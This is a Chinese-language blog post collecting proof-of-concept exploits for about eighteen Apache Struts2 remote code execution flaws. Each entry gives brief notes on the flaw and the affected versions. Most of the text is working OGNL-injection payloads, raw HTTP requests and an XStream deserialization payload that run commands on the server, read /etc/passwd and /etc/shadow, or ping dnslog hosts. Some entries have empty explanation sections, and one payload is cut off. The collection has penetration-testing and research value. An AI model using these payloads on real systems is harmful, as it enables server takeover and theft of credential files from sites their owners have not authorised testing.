struct2（S2）漏洞poc合集以及对应版本

最新推荐文章于 2024-02-20 01:01:56 发布

!QK

最新推荐文章于 2024-02-20 01:01:56 发布

阅读量848

点赞数 1

文章标签： web安全安全

本文链接：https://blog.csdn.net/weixin_46626737/article/details/132225146

版权

   1.S2-001
       1）漏洞原理：
           该漏洞是因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用OGNL(Object Graphic Navigation Language(对象图导航语言)的缩写)表达式 (Struts框架使用OGNL作为默认的表达式语言，作用是对数据进行访问) %{value}进行解析，然后重新填充到对应的表单数据中。例如注册或登录页面，提交失败,后端一般会默认返回之前提交的数据，由于后端使用%{value}对提交的数据执行了一次OGNL表达式解析，所以可以直接构造Payload进行命令执行。
           我们来了解以下Struts2中的validation机制。validation依靠validation和workflow两个拦截器。validation会根据配置的xml文件创建一个特殊错误字段列表。而workflow则会根据validation的错误对其进行检测，如果输入有值，将会把用户带回到原先提交表单的页面，并且将值返回。在默认情况下，如果控制器没有得到任何的输入结果但是有validation验证错误。那么用户将会得到一个错误的信息提示。
           在webwork2.1(一个框架)和Struts2中存在一个altSyntax特性，该特性允许用户提交OGNL请求，当用户提交恶意请求表单，故意触发一个validation错误，页面被workflow再次返回给用户的时候，默认情况下相当于返回%{return_value}，我们注入的恶意代码，比如%{7*7}，将会被当作%{%{7*7}}递归执行。
       2）操作技巧：
           %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
           %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
           %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
           %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
       3）漏洞版本： WebWork 2.1 （启用 altSyntax）， WebWork 2.2.0 - WebWork 2.2.5， Struts 2.0.0 - Struts 2.0.8
   2.S2-005
       1）漏洞原理：
           s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)，struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象，struts框架通过过滤#字符防止安全问题，然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制，对于S2-003漏洞，官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补，但是安全配置被绕过再次导致了漏洞，攻击者可以利用OGNL表达式将这2个选项打开，S2-003的修补方案把自己上了一个锁，但是把锁钥匙给插在了锁头上。
       2）操作技巧：
           先通过get方式，请求/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)((%27%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))%27)(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
           然后post发包，redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder('cat /etc/shadow'.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
       3）漏洞版本：
           2.0.0 - 2.1.8.1
   3.S2-007
       1）漏洞原理：
           当配置了验证规则 <ActionName>-validation.xml 时，若类型验证转换出错，后端默认会将用户提交的表单值通过字符串拼接，然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction：
           (...)
           public class UserAction extends ActionSupport {
               private Integer age;
               private String name;
               private String email;
           (...)
           然后配置有 UserAction-validation.xml：
           <?xml version="1.0" encoding="UTF-8" ?>
           <!DOCTYPE validators PUBLIC
               "-//OpenSymphony Group//XWork Validator 1.0//EN"
               "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
           <validators>
               <field name="age">
                   <field-validator type="int">
                       <param name="min">1</param>
                       <param name="max">150</param>
                   </field-validator>
               </field>
           </validators>
           当用户提交 age 为字符串而非整形数值时，后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用，只需要找到一个配置了类似验证规则的表单字段使之转换出错，借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。
       2）操作技巧：
           ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
       3）漏洞版本：2.0.0 - 2.2.3
   4.S2-008
       1）漏洞原理：
           S2-008 涉及多个漏洞，Cookie 拦截器错误配置可造成 OGNL 表达式执行，但是由于大多 Web 容器（如 Tomcat）对 Cookie 名称都有字符限制，一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令，正如 kxlzx 所提这种情况在生产环境中几乎不可能存在，因此就变得很鸡肋的，但我认为也不是绝对的，万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。
           例如在 devMode 模式下直接添加参数?debug=command&expression=<OGNL EXP>，会直接执行后面的 OGNL 表达式，因此可以直接执行命令（注意转义）
       2）操作技巧：
           可以先访问一下devmode.action是否开启
           http://192.168.68.129:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo+has+vul%27%29.getInputStream%28%29%29)
       3）漏洞版本：2.1.0 - 2.3.1
   5.S2-009
       1）漏洞原理：
           当前action中接受了某个参数example，这个参数将进入OGNL的上下文。所以，我们可以将OGNL表达式放在example参数中，然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它，从而绕过官方对#、\等特殊字符的防御。
       2）操作技巧：
           由于该漏洞没有回显，所以只能通过dnslog等等，或者反弹shell来判断
           http://192.168.68.129:8080/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch /tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
       3）漏洞版本：2.1.0 - 2.3.1.1
   6.S2-012
       1）漏洞原理：
           如果在配置 Action 中 Result 时使用了重定向类型，并且还使用 ${param_name} 作为重定向变量，例如：
           <package name="S2-012" extends="struts-default">
               <action name="user" class="com.demo.action.UserAction">
                   <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
                   <result name="input">/index.jsp</result>
                   <result name="success">/index.jsp</result>
               </action>
           </package>
           这里 UserAction 中定义有一个 name 变量，当触发 redirect 类型返回时，Struts2 获取使用 ${name} 获取其值，在这个过程中会对 name 参数的值执行 OGNL 表达式解析，从而可以插入任意 OGNL 表达式导致命令执行。
       2）操作技巧：
           http://192.168.68.129:8080/S2-012/user.action?name=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
           需要对其name参数的值进行url编码才会有回显
       3）漏洞版本：2.1.0 - 2.3.13
   7.S2-013/S2-014
       1）漏洞原理：
           Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性，其值可设置为 none，get 或 all，参考官方其对应意义如下：
           none - 链接不包含请求的任意参数值（默认）
           get - 链接只包含 GET 请求中的参数和其值
           all - 链接包含 GET 和 POST 所有参数和其值
           <s:a>用来显示一个超链接，当includeParams=all的时候，会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染，造成任意命令执行漏洞。
       2）操作技巧：
           http://192.168.68.129:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
       3）漏洞版本：2.0.0 - 2.3.14.1
   8.S2-015
       1）漏洞原理：
           漏洞产生于配置了 Action 通配符 *，并将其作为动态值时，解析时会将其内容执行 OGNL 表达式，例如：
           <package name="S2-015" extends="struts-default">
               <action name="*" class="com.demo.action.PageAction">
                   <result>/{1}.jsp</result>
               </action>
           </package>
           上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面，但是在提取 name 并解析时，对其执行了 OGNL 表达式解析，所以导致命令执行。在实践复现的时候发现，由于 name 值的位置比较特殊，一些特殊的字符如 / " \ 都无法使用（转义也不行），所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。
           还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中，删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法，因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true 来修改其值达到重获静态方法调用的能力。
           这里为了到达执行命令的目的可以用 kxlzx 提到的调用动态方法 (new java.lang.ProcessBuilder('calc')).start() 来解决，另外还可以借助 Java 反射机制去间接修改
       2）操作技巧：
           http://192.168.68.129:8080/S2-015/%24%7b%23context%5b%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23m%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2c%23m.setAccessible%28true%29%2c%23m.set%28%23_memberAccess%2ctrue%29%2c%23q%3d%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%2c%23q%7d.action
       3）漏洞版本：2.0.0 - 2.3.14.2
   9.S2-016
       1）漏洞原理：
           在struts2中，DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令。
           所以，访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式。
       2）操作技巧：
           http://192.168.68.129:8080/index.action?redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
           需要将其参数redirect进行url编码
       3）漏洞版本：2.0.0 - 2.3.15
   10.S2-032
       1）漏洞原理：
           Struts2在开启了动态方法调用（Dynamic Method Invocation）的情况下，可以使用method:<name>的方式来调用名字是<name>的方法，而这个方法名将会进行OGNL表达式计算，导致远程命令执行漏洞。
       2）操作技巧：
           http://192.168.68.129:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
       3）漏洞版本：Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
   11.S2-045
       1）漏洞原理：
       2）操作技巧：
           POST / HTTP/1.1
           Host: 192.168.68.129:8080
           Pragma: no-cache
           Cache-Control: no-cache
           User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
           Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
           Referer: http://192.168.68.129:8080/
           Accept-Encoding: gzip, deflate
           Accept-Language: zh-CN,zh;q=0.9
           Connection: close
           Content-Length: 3
           Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

           123
       3）漏洞版本：Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
   12.S2-046
       1）漏洞原理：
           与s2-045类似，但是输入点在文件上传的filename值位置，并需要使用\x00截断
       2）操作技巧：
           POST /doUpload.action HTTP/1.1
           Host: 192.168.68.129:8080
           Content-Length: 382
           Cache-Control: max-age=0
           Upgrade-Insecure-Requests: 1
           Origin: http://192.168.68.129:8080
           Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY9IJNivY7DB1BLAs
           User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
           Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
           Referer: http://192.168.68.129:8080/
           Accept-Encoding: gzip, deflate
           Accept-Language: zh-CN,zh;q=0.9
           Cookie: JSESSIONID=1p95thf77d0ao1x16oh5oan5dh
           Connection: close

           ------WebKitFormBoundaryY9IJNivY7DB1BLAs
           Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\x
       3）漏洞版本：Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
   13.S2-048
       1）漏洞原理：

       2）操作技巧：
           在struct2的控制界面的Integration/Struts 1 Integration界面中，Gangster Name会触发OGNL表达式
           %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
       3）漏洞版本：2.0.0 - 2.3.32
   14.S2-052
       1）漏洞原理：
           该漏洞是通过content-type来判断post数据包是什么格式的，application/xml json xml+xhtml等等
           jsonlib无法引入任意对象，而xstream在默认情况下是可以引入任意对象的（针对1.5.x以前的版本），方法就是直接通过xml的tag name指定需要实例化的类名
           可以通过反序列化引入任意类造成远程命令执行漏洞，只需要找到一个在Struts2库中适用的gedget
       2）操作技巧：
           POST /orders/3/edit HTTP/1.1
           Host: 192.168.68.129:8080
           Pragma: no-cache
           Cache-Control: no-cache
           Upgrade-Insecure-Requests: 1
           User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
           Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
           Accept-Encoding: gzip, deflate
           Accept-Language: zh-CN,zh;q=0.9
           Cookie: JSESSIONID=9087A9193668D2564614640E92DEA4B4
           Connection: close
           Content-Type: application/xml
           Content-Length: 2418

           <map>
           <entry>
               <jdk.nashorn.internal.objects.NativeString>
               <flags>0</flags>
               <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
                   <dataHandler>
                   <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                       <is class="javax.crypto.CipherInputStream">
                       <cipher class="javax.crypto.NullCipher">
                           <initialized>false</initialized>
                           <opmode>0</opmode>
                           <serviceIterator class="javax.imageio.spi.FilterIterator">
                           <iter class="javax.imageio.spi.FilterIterator">
                               <iter class="java.util.Collections$EmptyIterator"/>
                               <next class="java.lang.ProcessBuilder">
                               <command>
                                   <string>ping</string>
                                   <string>sfi5ou.dnslog.cn</string>
                               </command>
                               <redirectErrorStream>false</redirectErrorStream>
                               </next>
                           </iter>
                           <filter class="javax.imageio.ImageIO$ContainsFilter">
                               <method>
                               <class>java.lang.ProcessBuilder</class>
                               <name>start</name>
                               <parameter-types/>
                               </method>
                               <name>foo</name>
                           </filter>
                           <next class="string">foo</next>
                           </serviceIterator>
                           <lock/>
                       </cipher>
                       <input class="java.lang.ProcessBuilder$NullInputStream"/>
                       <ibuffer></ibuffer>
                       <done>false</done>
                       <ostart>0</ostart>
                       <ofinish>0</ofinish>
                       <closed>false</closed>
                       </is>
                       <consumed>false</consumed>
                   </dataSource>
                   <transferFlavors/>
                   </dataHandler>
                   <dataLen>0</dataLen>
               </value>
               </jdk.nashorn.internal.objects.NativeString>
               <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
           </entry>
           <entry>
               <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
               <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
           </entry>
           </map>
       3）漏洞版本：Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
   15.S2-053
       1）漏洞原理：
           Struts2在使用Freemarker模板引擎的时候，同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析，但由于被Freemarker解析一次后变成离开一个表达式，被OGNL解析第二次，导致任意命令执行漏洞。
       2）操作技巧：
           %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}（后有一个换行符）
       3）漏洞版本：Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
   16.S2-057
       1）漏洞原理：
       2）操作技巧：
           http://192.168.68.129:8080/fileupload/$%7B1+1%7D/actionChain1.action
       3）漏洞版本： <= Struts 2.3.34, Struts 2.5.16
   17.S2-059
       1）漏洞原理：
       2）操作技巧：
           %25{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}
           %25{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('ping wzp9tk.dnslog.cn'))}
       3）漏洞版本：Struts 2.0.0 - Struts 2.5.20
   18.S2-061
       1）漏洞原理：
       2）操作技巧：
           POST /index.action HTTP/1.1
           Host: 192.168.68.129:8080
           Accept-Encoding: gzip, deflate
           Accept: */*
           Accept-Language: en
           User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
           Connection: close
           Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
           Content-Length: 840

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

           %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /etc/passwd")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
           ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
       3）漏洞版本：Struts 2.0.0-Struts 2.5.25